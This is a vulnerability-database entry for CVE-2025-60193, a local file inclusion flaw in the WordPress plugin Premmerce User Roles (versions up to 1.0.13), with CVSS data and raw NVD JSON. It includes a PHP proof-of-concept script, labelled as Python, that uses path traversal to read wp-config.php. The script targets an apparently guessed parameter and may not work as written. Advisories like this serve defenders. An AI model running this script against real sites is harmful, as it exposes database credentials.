Security Vulnerability Report
中文
CVE-2025-60193 CVSS 7.5 HIGH

CVE-2025-60193

Published: 2025-11-06 16:16:04
Last Modified: 2026-04-27 16:16:33

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Premmerce Premmerce User Roles premmerce-user-roles allows PHP Local File Inclusion.This issue affects Premmerce User Roles: from n/a through <= 1.0.13.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Premmerce User Roles <= 1.0.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60193 PoC - Premmerce User Roles LFI * Target: WordPress with Premmerce User Roles plugin <= 1.0.13 * * Usage: php cve-2025-60193-poc.php <target_url> <vulnerable_param> * Example: php cve-2025-60193-poc.php http://target.com/wordpress action */ $target = $argv[1] ?? 'http://localhost/wordpress'; $param = $argv[2] ?? 'action'; // Read wp-config.php (sensitive data exposure) $malicious_path = '../../../../wp-config.php'; $url = $target . '/wp-admin/admin.php?' . $param . '=' . urlencode($malicious_path); echo "[*] CVE-2025-60193 LFI PoC\n"; echo "[*] Target: " . $target . "\n"; echo "[*] Attempting to read wp-config.php...\n"; echo "[*] URL: " . $url . "\n\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'DB_NAME') !== false) { echo "[+] SUCCESS: Sensitive file content leaked!\n"; echo "[+] Found database configuration in response.\n"; } else { echo "[-] Failed or target not vulnerable.\n"; echo "[*] Manual verification: Visit the URL above in browser.\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60193", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:04.380", "lastModified": "2026-04-27T16:16:32.713", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Premmerce Premmerce User Roles premmerce-user-roles allows PHP Local File Inclusion.This issue affects Premmerce User Roles: from n/a through <= 1.0.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/premmerce-user-roles/vulnerability/wordpress-premmerce-user-roles-plugin-1-0-13-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}